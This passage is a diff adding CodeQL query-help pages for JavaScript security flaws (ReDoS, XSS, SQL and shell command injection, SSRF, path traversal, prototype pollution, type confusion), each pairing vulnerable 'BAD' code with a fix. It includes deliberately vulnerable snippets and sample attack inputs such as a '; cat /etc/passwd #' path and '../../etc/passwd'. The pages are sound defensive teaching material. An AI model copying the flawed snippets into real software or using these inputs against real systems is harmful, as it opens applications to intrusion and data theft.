00000000000..f06a604165f --- /dev/null +++ b/docs/language/query-help/javascript/ReDoS.md @@ -0,0 +1,48 @@ +# Inefficient regular expression + +``` +ID: js/redos +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Performance/ReDoS.ql) + +Some regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service ("DoS") attack by crafting an expensive input string for the regular expression to match. + +The regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower. + +Typically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references. + + +## Recommendation +Modify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter. + + +## Example +Consider this regular expression: + +```javascript + + /^_(__|.)+_$/ + +``` +Its sub-expression `"(__|.)+?"` can match the string `"__"` either by the first alternative `"__"` to the left of the `"|"` operator, or by two repetitions of the second alternative `"."` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input. + +This problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition: + +```javascript + + /^_(__|[^_])+_$/ + +``` + +## References +* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). +* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). +* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity). +* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](http://www.cs.bham.ac.uk/~hxt/research/reg-exp-sec.pdf). +* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ReflectedXss.md b/docs/language/query-help/javascript/ReflectedXss.md new file mode 100644 index 00000000000..4f725c53aad --- /dev/null +++ b/docs/language/query-help/javascript/ReflectedXss.md @@ -0,0 +1,63 @@ +# Reflected cross-site scripting + +``` +ID: js/reflected-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/ReflectedXss.ql) + +Directly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + +This kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references. + + +## Example +The following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting. + + +```javascript +var app = require('express')(); + +app.get('/user/:id', function(req, res) { + if (!isValidUserId(req.params.id)) + // BAD: a request parameter is incorporated without validation into the response + res.send("Unknown user: " + req.params.id); + else + // TODO: do something exciting + ; +}); + +``` +Sanitizing the user-controlled data prevents the vulnerability: + + +```javascript +var escape = require('escape-html'); + +var app = require('express')(); + +app.get('/user/:id', function(req, res) { + if (!isValidUserId(req.params.id)) + // GOOD: request parameter is sanitized before incorporating it into the response + res.send("Unknown user: " + escape(req.params.id)); + else + // TODO: do something exciting + ; +}); + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RegExpInjection.md b/docs/language/query-help/javascript/RegExpInjection.md new file mode 100644 index 00000000000..6502cd2257f --- /dev/null +++ b/docs/language/query-help/javascript/RegExpInjection.md @@ -0,0 +1,59 @@ +# Regular expression injection + +``` +ID: js/regex-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-730 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-730/RegExpInjection.ql) + +Constructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack. + + +## Recommendation +Before embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning. + + +## Example +The following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first: + + +```javascript +var express = require('express'); +var app = express(); + +app.get('/findKey', function(req, res) { + var key = req.param("key"), input = req.param("input"); + + // BAD: Unsanitized user input is used to construct a regular expression + var re = new RegExp("\\b" + key + "=(.*)\n"); +}); + +``` +Instead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions. + + +```javascript +var express = require('express'); +var _ = require('lodash'); +var app = express(); + +app.get('/findKey', function(req, res) { + var key = req.param("key"), input = req.param("input"); + + // GOOD: User input is sanitized before constructing the regex + var safeKey = _.escapeRegExp(key); + var re = new RegExp("\\b" + safeKey + "=(.*)\n"); +}); + +``` + +## References +* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). +* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). +* npm: [lodash](https://www.npmjs.com/package/lodash). +* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RemotePropertyInjection.md b/docs/language/query-help/javascript/RemotePropertyInjection.md new file mode 100644 index 00000000000..b5d9250263c --- /dev/null +++ b/docs/language/query-help/javascript/RemotePropertyInjection.md @@ -0,0 +1,61 @@ +# Remote property injection + +``` +ID: js/remote-property-injection +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-250 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.ql) + +Dynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised. + +Moreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`. + + +## Recommendation +The most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character. + +When using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`. + + +## Example +In the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value. + + +```javascript +var express = require('express'); + +var app = express(); +var myObj = {} + +app.get('/user/:id', function(req, res) { + var prop = req.query.userControlled; // BAD + myObj[prop] = function() {}; + console.log("Request object " + myObj); +}); +``` +This is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as "Function.prototype.toString is not generic". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten. + + +```javascript +var express = require('express'); + +var app = express(); +var myObj = {} + +app.get('/user/:id', function(req, res) { + var prop = "$" + req.query.userControlled; // GOOD + myObj[prop] = function() {}; + console.log("Request object " + myObj); +}); +``` + +## References +* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://nodesecurity.io/advisories/566). +* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67) +* npm blog post: [ dangers of square bracket notation](https://blog.liftsecurity.io/2015/01/14/the-dangers-of-square-bracket-notation#lift-security) +* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RequestForgery.md b/docs/language/query-help/javascript/RequestForgery.md new file mode 100644 index 00000000000..55aea9a91fc --- /dev/null +++ b/docs/language/query-help/javascript/RequestForgery.md @@ -0,0 +1,69 @@ +# Uncontrolled data used in network request + +``` +ID: js/request-forgery +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-918 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-918/RequestForgery.ql) + +Directly incorporating user input into an HTTP request without validating the input can facilitate different kinds of request forgery attacks, where the attacker essentially controls the request. If the vulnerable request is in server-side code, then security mechanisms, such as external firewalls, can be bypassed. If the vulnerable request is in client-side code, then unsuspecting users can send malicious requests to other servers, potentially resulting in a DDOS attack. + + +## Recommendation +To guard against request forgery, it is advisable to avoid putting user input directly into a network request. If a flexible network request mechanism is required, it is recommended to maintain a list of authorized request targets and choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `"internal.example.com/#"` as the target, causing the URL used in the request to be `"https://internal.example.com/#.example.com/data"`. + +A request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine. + + +```javascript +import http from 'http'; +import url from 'url'; + +var server = http.createServer(function(req, res) { + var target = url.parse(req.url, true).query.target; + + // BAD: `target` is controlled by the attacker + http.get('https://' + target + ".example.com/data/", res => { + // process request response ... + }); + +}); + +``` +One way to remedy the problem is to use the user input to select a known fixed string before performing the request: + + +```javascript +import http from 'http'; +import url from 'url'; + +var server = http.createServer(function(req, res) { + var target = url.parse(req.url, true).query.target; + + var subdomain; + if (target === 'EU') { + subdomain = "europe" + } else { + subdomain = "world" + } + + // GOOD: `subdomain` is controlled by the server + http.get('https://' + subdomain + ".example.com/data/", res => { + // process request response ... + }); + +}); + +``` + +## References +* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) +* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ServerSideUrlRedirect.md b/docs/language/query-help/javascript/ServerSideUrlRedirect.md new file mode 100644 index 00000000000..7721c71c069 --- /dev/null +++ b/docs/language/query-help/javascript/ServerSideUrlRedirect.md @@ -0,0 +1,52 @@ +# Server-side URL redirect + +``` +ID: js/server-side-unvalidated-url-redirection +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-601/ServerSideUrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: + + +```javascript +const app = require("express")(); + +app.get('/some/path', function(req, res) { + // BAD: a request parameter is incorporated without validation into a URL redirect + res.redirect(req.param("target")); +}); + +``` +One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: + + +```javascript +const app = require("express")(); + +const VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; + +app.get('/some/path', function(req, res) { + // GOOD: the request parameter is validated against a known fixed string + let target = req.param("target"); + if (VALID_REDIRECT === target) + res.redirect(target); +}); + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md b/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md new file mode 100644 index 00000000000..6dc8108c32f --- /dev/null +++ b/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md @@ -0,0 +1,58 @@ +# Shell command built from environment values + +``` +ID: js/shell-command-injection-from-environment +Kind: path-problem +Severity: warning +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/ShellCommandInjectionFromEnvironment.ql) + +Dynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system. + + +## Recommendation +If possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell. + +Alternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly. + + +## Example +The following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts. + + +```javascript +var cp = require("child_process"), + path = require("path"); +function cleanupTemp() { + let cmd = "rm -rf " + path.join(__dirname, "temp"); + cp.execSync(cmd); // BAD +} + +``` +The shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path. + +For instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process. + +Even worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`. + +To avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell: + + +```javascript +var cp = require("child_process"), + path = require("path"); +function cleanupTemp() { + let cmd = "rm", + args = ["-rf", path.join(__dirname, "temp")]; + cp.execFileSync(cmd, args); // GOOD +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/SqlInjection.md b/docs/language/query-help/javascript/SqlInjection.md new file mode 100644 index 00000000000..b67f59b1667 --- /dev/null +++ b/docs/language/query-help/javascript/SqlInjection.md @@ -0,0 +1,57 @@ +# Database query built from user-controlled sources + +``` +ID: js/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-089/SqlInjection.ql) + +If a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries. + + +## Recommendation +Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. + + +## Example +In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object. + +The handler constructs two copies of the same SQL query involving user input taken from the request object, once unsafely using string concatenation, and once safely using query parameters. + +In the first case, the query string `query1` is built by directly concatenating a user-supplied request parameter with some string literals. The parameter may include quote characters, so this code is vulnerable to a SQL injection attack. + +In the second case, the parameter is embedded into the query string `query2` using query parameters. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks. + + +```javascript +const app = require("express")(), + pg = require("pg"), + pool = new pg.Pool(config); + +app.get("search", function handler(req, res) { + // BAD: the category might have SQL special characters in it + var query1 = + "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + req.params.category + + "' ORDER BY PRICE"; + pool.query(query1, [], function(err, results) { + // process results + }); + + // GOOD: use parameters + var query2 = + "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1" + " ORDER BY PRICE"; + pool.query(query2, [req.params.category], function(err, results) { + // process results + }); +}); + +``` + +## References +* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/StackTraceExposure.md b/docs/language/query-help/javascript/StackTraceExposure.md new file mode 100644 index 00000000000..f83a6458ed3 --- /dev/null +++ b/docs/language/query-help/javascript/StackTraceExposure.md @@ -0,0 +1,75 @@ +# Information exposure through a stack trace + +``` +ID: js/stack-trace-exposure +Kind: path-problem +Severity: warning +Precision: very-high +Tags: security external/cwe/cwe-209 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-209/StackTraceExposure.ql) + +Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. + +Unfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. + + +## Recommendation +Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. + + +## Example +In the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information. + + +```javascript +var http = require('http'); + +http.createServer(function onRequest(req, res) { + var body; + try { + body = handleRequest(req); + } + catch (err) { + res.statusCode = 500; + res.setHeader("Content-Type", "text/plain"); + res.end(err.stack); // NOT OK + return; + } + res.statusCode = 200; + res.setHeader("Content-Type", "application/json"); + res.setHeader("Content-Length", body.length); + res.end(body); +}).listen(3000); + +``` +Instead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information: + + +```javascript +var http = require('http'); + +http.createServer(function onRequest(req, res) { + var body; + try { + body = handleRequest(req); + } + catch (err) { + res.statusCode = 500; + res.setHeader("Content-Type", "text/plain"); + log("Exception occurred", err.stack); + res.end("An exception occurred"); // OK + return; + } + res.statusCode = 200; + res.setHeader("Content-Type", "application/json"); + res.setHeader("Content-Length", body.length); + res.end(body); +}).listen(3000); + +``` + +## References +* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). +* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/StoredXss.md b/docs/language/query-help/javascript/StoredXss.md new file mode 100644 index 00000000000..c4275e1e960 --- /dev/null +++ b/docs/language/query-help/javascript/StoredXss.md @@ -0,0 +1,70 @@ +# Stored cross-site scripting + +``` +ID: js/stored-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/StoredXss.ql) + +Directly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + +This kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references. + + +## Example +The following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk. + + +```javascript +var express = require('express'), + fs = require('fs'); + +express().get('/list-directory', function(req, res) { + fs.readdir('/public', function (error, fileNames) { + var list = '
    '; + fileNames.forEach(fileName => { + // BAD: `fileName` can contain HTML elements + list += '
  • ' + fileName + '
  • '; + }); + list += '
' + res.send(list); + }); +}); + +``` +Sanitizing the file names prevents the vulnerability: + + +```javascript +var express = require('express'), + fs = require('fs'), + escape = require('escape-html'); + +express().get('/list-directory', function(req, res) { + fs.readdir('/public', function (error, fileNames) { + var list = '
    '; + fileNames.forEach(fileName => { + // GOOD: escaped `fileName` can not contain HTML elements + list += '
  • ' + escape(fileName) + '
  • '; + }); + list += '
' + res.send(list); + }); +}); + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TaintedFormatString.md b/docs/language/query-help/javascript/TaintedFormatString.md new file mode 100644 index 00000000000..1f0b84076d9 --- /dev/null +++ b/docs/language/query-help/javascript/TaintedFormatString.md @@ -0,0 +1,52 @@ +# Use of externally-controlled format string + +``` +ID: js/tainted-format-string +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-134/TaintedFormatString.ql) + +Functions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output. + + +## Recommendation +Either sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument. + + +## Example +The following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message: + + +```javascript +const app = require("express")(); + +app.get("unauthorized", function handler(req, res) { + let user = req.query.user; + let ip = req.connection.remoteAddress; + console.log("Unauthorized access attempt by " + user, ip); +}); + +``` +However, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read "Unauthorized access attempt by NaN", missing all the information that it was trying to log in the first place. + +Instead, the user name should be included using the `%s` specifier: + + +```javascript +const app = require("express")(); + +app.get("unauthorized", function handler(req, res) { + let user = req.query.user; + let ip = req.connection.remoteAddress; + console.log("Unauthorized access attempt by %s", user, ip); +}); + +``` + +## References +* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args). +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TaintedPath.md b/docs/language/query-help/javascript/TaintedPath.md new file mode 100644 index 00000000000..ccd80f80179 --- /dev/null +++ b/docs/language/query-help/javascript/TaintedPath.md @@ -0,0 +1,56 @@ +# Uncontrolled data used in path expression + +``` +ID: js/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-022/TaintedPath.ql) + +Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + + +## Recommendation +Validate user input before using it to construct a file path, either using an off-the-shelf library like the `sanitize-filename` npm package, or by performing custom validation. + +Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". +* Use a whitelist of known good patterns. + +## Example +In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name which is an absolute path, such as `"/etc/passwd"`. + +In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../etc/passwd"` will result in the code reading the file located at `"/home/user/../../etc/passwd"`, which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. + + +```javascript +var fs = require('fs'), + http = require('http'), + url = require('url'); + +var server = http.createServer(function(req, res) { + let path = url.parse(req.url, true).query.path; + + // BAD: This could read any file on the file system + res.write(fs.readFileSync(path)); + + // BAD: This could still read any file on the file system + res.write(fs.readFileSync("/home/user/" + path)); +}); + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package. +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TargetBlank.md b/docs/language/query-help/javascript/TargetBlank.md new file mode 100644 index 00000000000..d1281265835 --- /dev/null +++ b/docs/language/query-help/javascript/TargetBlank.md @@ -0,0 +1,40 @@ +# Potentially unsafe external link + +``` +ID: js/unsafe-external-link +Kind: problem +Severity: warning +Precision: very-high +Tags: maintainability security external/cwe/cwe-200 external/cwe/cwe-1022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/DOM/TargetBlank.ql) + +HTML links that open in a new tab or window allow the target page to access the DOM of the origin page using `window.opener` unless link type `noopener` or `noreferrer` is specified. This is a potential security risk. + + +## Recommendation +Specify the link type by adding an attribute `rel="noopener noreferrer"`. + + +## Example +In the following example, a JSX element is created that corresponds to an HTML link opening the URL `http://example.com` in a new tab. Since it does not specify a link type, that page will be able to access the DOM of the origin page. + + +```javascript +var link = Example; + +``` +To fix this vulnerability, add a `rel` attribute: + + +```javascript +var link = Example; + +``` + +## References +* Mathias Bynens: [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/). +* Mozilla Developer Network: [HTML Anchor Element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a). +* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html). +* Common Weakness Enumeration: [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md b/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md new file mode 100644 index 00000000000..f3292bcd5a9 --- /dev/null +++ b/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md @@ -0,0 +1,72 @@ +# Type confusion through parameter tampering + +``` +ID: js/type-confusion-through-parameter-tampering +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-843 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql) + +Sanitizing untrusted HTTP request parameters is an important technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings. + +However, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently. + + +## Recommendation +Check the runtime type of sanitizer inputs if the input type is user-controlled. + + +## Example +For example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead. + +In the following example, a sanitizer checks that a path does not contain the `".."` string, which would allow an attacker to access content outside a user-accessible directory. + + +```javascript +var app = require("express")(), + path = require("path"); + +app.get("/user-files", function(req, res) { + var file = req.param("file"); + if (file.indexOf("..") !== -1) { + // BAD + // forbid paths outside the /public directory + res.status(400).send("Bad request"); + } else { + var absolute = path.resolve("/public/" + file); + console.log("Sending file: %s", absolute); + res.sendFile(absolute); + } +}); + +``` +As written, this sanitizer is ineffective: an array like `["../", "/../secret.txt"]` will bypass the sanitizer. The array does not contain `".."` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `"/secret.txt"`. This happens since the concatenation of 